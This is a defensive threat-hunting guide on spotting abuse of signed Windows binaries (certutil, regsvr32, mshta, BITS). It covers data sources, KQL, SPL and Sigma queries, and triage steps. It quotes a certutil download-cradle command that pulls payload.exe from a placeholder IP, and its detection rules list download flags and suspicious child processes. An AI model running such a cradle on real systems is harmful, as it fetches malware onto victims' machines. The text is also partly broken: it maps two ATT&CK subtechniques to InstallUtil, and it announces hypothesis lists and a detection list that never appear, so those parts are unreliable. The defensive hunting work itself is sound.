Hunting LOLBin Abuse

What Are LOLBins and Why Hunters Care

LOLBins are legitimate Windows binaries repurposed by attackers. The key word is legitimate. The tool ships with every Windows installation, carries a valid Microsoft signature, and runs without triggering antivirus or application whitelisting controls. No payload is dropped to disk. No new executable needs to be created. The attacker borrows the OS to do the job.

That is the core detection problem. Certutil.exe is always benign as a file. Certutil.exe running with -urlcache -f http://185.220.101.x/payload.exe and writing to %TEMP% is not. The binary cannot be the indicator. The execution context must be.

The ATT&CK anchor is T1218 Signed Binary Proxy Execution, which covers 12 subtechniques: T1218.001 (InstallUtil), T1218.003 (CMSTP), T1218.004 (InstallUtil), T1218.005 (Mshta), T1218.007 (Msiexec), T1218.008 (Odbcconf), T1218.009 (Regasm/Regsvcs), T1218.010 (Regsvr32), T1218.011 (Rundll32), T1218.012 (Verclsid), T1218.013 (Mavinject), and T1218.014 (MMC). Each subtechnique has a distinct behavior profile and requires its own detection approach.

The community catalog is the LOLBAS Project at lolbas-project.github.io. It documents 150+ LOLBins with function tags (execute, download, upload, compile, decode), command-line examples, and ATT&CK mappings. Treat it as a required reference alongside ATT&CK Navigator for hunt hypothesis generation.

The Hunting Mindset for LOLBin Abuse

Signatures fail here. AV and EDR cannot flag the binary itself because it is a clean system tool. Detection requires behavioral context, and behavioral context has four dimensions.

Parent process: who spawned it? A user launching certutil directly from explorer.exe is suspicious. Winword.exe spawning certutil is nearly always malicious. The parent-child relationship is often more telling than the command line itself.

Command line flags: what arguments? Certutil is a certificate utility. Any invocation that references -urlcache, -decode, or -encode with a non-certificate-related path is worth examining.

Network behavior: did it make outbound connections? Download cradles require DNS resolution and HTTP(S) requests. Certutil reaching an external IP is a process-to-network correlation opportunity.

Execution directory: from System32 or from %TEMP%? LOLBins themselves run from System32 or SysWOW64. The files they write or load often land in user-writable paths like %TEMP%, %APPDATA%, or C:\Users\Public.

Three ABLE hypotheses applied directly:

Prioritize certutil and mshta first. They sit at the top of Red Canary's detection reports for multiple consecutive years. Regsvr32 Squiblydoo was actively exploited for 8+ years before widespread detection caught up. BITS (bitsadmin and PowerShell Start-BitsTransfer) is heavily used for stealthy persistence and background downloads because it runs as a Windows service and is trusted by most security tools.

Data Sources for LOLBin Hunting

The foundation is Sysmon Event ID 1 (process creation) with full command line captured. Without the CommandLine field, LOLBin hunting is nearly blind. You know a binary ran. You do not know what it was told to do.

Windows Security Event 4688 covers process creation but requires an explicit GPO change to capture command line arguments: Computer Config > Policies > Windows Settings > Security Settings > Advanced Audit Policy > Detailed Tracking > Audit Process Creation, PLUS enable "Include command line in process creation events" via a separate GPO setting. Without this, 4688 tells you certutil.exe ran. It does not tell you whether it ran a hash check or a download cradle.

Sysmon Event ID 3 (network connection) links a LOLBin process to outbound connections by PID. This is the critical correlation for download cradles. Sysmon EID 1 tells you the command line; EID 3 tells you the destination IP and port. Together they confirm intent.

Sysmon Event ID 11 (file creation) catches certutil or wscript writing staged payloads to disk. Pair with EID 1 to connect file creation back to the specific process invocation.

Modern EDR provides full ancestry chains. Winword.exe > cmd.exe > certutil.exe is a high-confidence indicator regardless of what certutil was told to do. The parent chain establishes context before you even look at the command line.

DNS logs catch download cradles at resolution time. Certutil reaching a DGA-pattern domain is visible in DNS before Sysmon fires. DNS is also useful for BITS abuse, where the job may run as a background service with limited process-level telemetry.

Hunt Hypotheses for LOLBin Abuse

Five prioritized hypotheses, each anchored to ATT&CK, a specific behavior pattern, and the evidence source that confirms or denies it.

Hunt Queries: KQL, SPL, and Sigma

Four queries covering the highest-priority hypotheses. Run these broad first, then apply the tuning steps described after each block.

KQL: certutil download cradle (Microsoft Sentinel / MDE)

DeviceProcessEvents
| where FileName =~ "certutil.exe"
| where ProcessCommandLine has_any ("-urlcache", "-decode", "-encode")
    or ProcessCommandLine has "http"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

KQL: regsvr32 Squiblydoo (Microsoft Sentinel / MDE)

DeviceProcessEvents
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has "http" and ProcessCommandLine has_any ("/s", "/u", "/i")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| order by Timestamp desc

Sigma: MSHTA spawning suspicious child process

title: MSHTA Spawning Suspicious Child Process
id: a8be5f60-5dc6-4862-8a2c-b43f5b7b0e85
status: test
description: mshta.exe spawning cmd, powershell, wscript, cscript, or regsvr32
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\mshta.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\regsvr32.exe'
  condition: selection
falsepositives:
  - Legitimate HTA administrative applications
level: high
tags:
  - attack.execution
  - attack.t1218.005

SPL: BITS abuse (Splunk with Sysmon)

index=sysmon EventCode=1 Image="*\\bitsadmin.exe"
| where match(CommandLine, "(?i)/transfer|/addfile")
| eval dest=mvindex(split(CommandLine, " "), -1)
| where NOT match(dest, "(?i)microsoft\.com|windows\.com|windowsupdate")
| table _time, ComputerName, User, CommandLine
| sort -_time

Tuning order: start broad, then layer context. For certutil, first suppress hash-check invocations (certutil -hashfile with no URL) by filtering out CommandLine where http is absent. Then add a parent process allow-list for WSUS relay servers where certutil running outbound is normal. For BITS, extend the destination domain allow-list to include your CDN providers and patch management servers. Do not suppress the rule. Add context to narrow it.

Evidence Analysis and Triage

Query results are not findings. They are candidates. Triage separates false positives from real signals using execution context, not gut feel.

Common false positive patterns per LOLBin:

• certutil: certutil -hashfile is a common integrity check tool. Certutil reaching windowsupdate.microsoft.com or download.microsoft.com is typical WSUS relay behavior. Neither pattern warrants escalation.
• regsvr32: Registering COM DLLs in System32 during software installs is normal. The path matters. System32 paths are benign; user-writable paths are not.
• mshta.exe: Legitimate HTA-based admin tools exist, though they are uncommon. Validate the parent process and the HTA source path before closing as FP.
• bitsadmin: WSUS, SCCM, and Windows Update all use BITS. Filter known WSUS server destinations before treating BITS transfers as suspicious.

Context factors in priority order when triaging a hit:

1. Execution account: admin service account vs. standard user
2. Parent process: explorer.exe (user-initiated) vs. winword.exe (document macro) vs. lsass.exe (injection)
3. Asset classification: domain controller vs. developer workstation vs. standard user endpoint
4. Time context: business hours during maintenance window vs. 3am on a weekend
5. Network destination: known CDN/WSUS IP vs. residential IP vs. DGA-pattern domain

Apply the Admiralty System to score confidence. Source A (EDR telemetry) plus content grade 1 (directly observed, no inference) gives you maximum confidence. Source A plus content grade 2 (observed but requiring correlation) is still high confidence. Downgrade when you are working from proxy logs alone with no process-level confirmation.

The pivot chain from a certutil hit to IR escalation: certutil.exe reaching 185.220.101.x (Tor exit node) -> pivot on that IP across all endpoints in the time window -> identify every process that contacted the same IP -> check for lateral movement events (4648, 4624 type 3, SMB) from those hosts -> if you find more than one host reaching the same C2 IP, you have a campaign, not an isolated incident.

Decision criteria: admin account on admin asset reaching a known patch server is a documented FP. Write a suppression query and close. Standard user account on a user workstation reaching a residential IP with mshta spawning powershell is escalate to IR immediately. Do not wait for a SIEM alert. The hunt found the incident.

From Hunt to Detection

Every LOLBin hunt closes with content. Either a suppression query documenting a confirmed FP, or a new detection rule derived from a confirmed TP. Hunts that produce no content are organizational debt because you spent analyst time without improving coverage.

Converting a hunt query to a production rule: add parent process suppression for known-good parents (WSUS server spawning certutil), add destination domain allow-list for BITS transfers, add asset severity scoring so a hit on a DC generates a P1 and the same hit on an isolated dev box generates a P3. Set a confidence threshold before the rule fires an alert. Not every hit needs to page someone. Some can go into a triage queue.

Sigma versus platform-native: use Sigma when the content needs to run on multiple SIEM or EDR platforms. Use KQL or SPL for environment-specific enrichment joins. Joining certutil events to your user risk score (from Microsoft Entra ID Protection or CrowdStrike Identity) is not expressible in Sigma. Do both. Sigma for portability, platform-native for enriched alerting.

Five highest-ROI LOLBin detections to build first, ranked by detection complexity and expected false positive rate: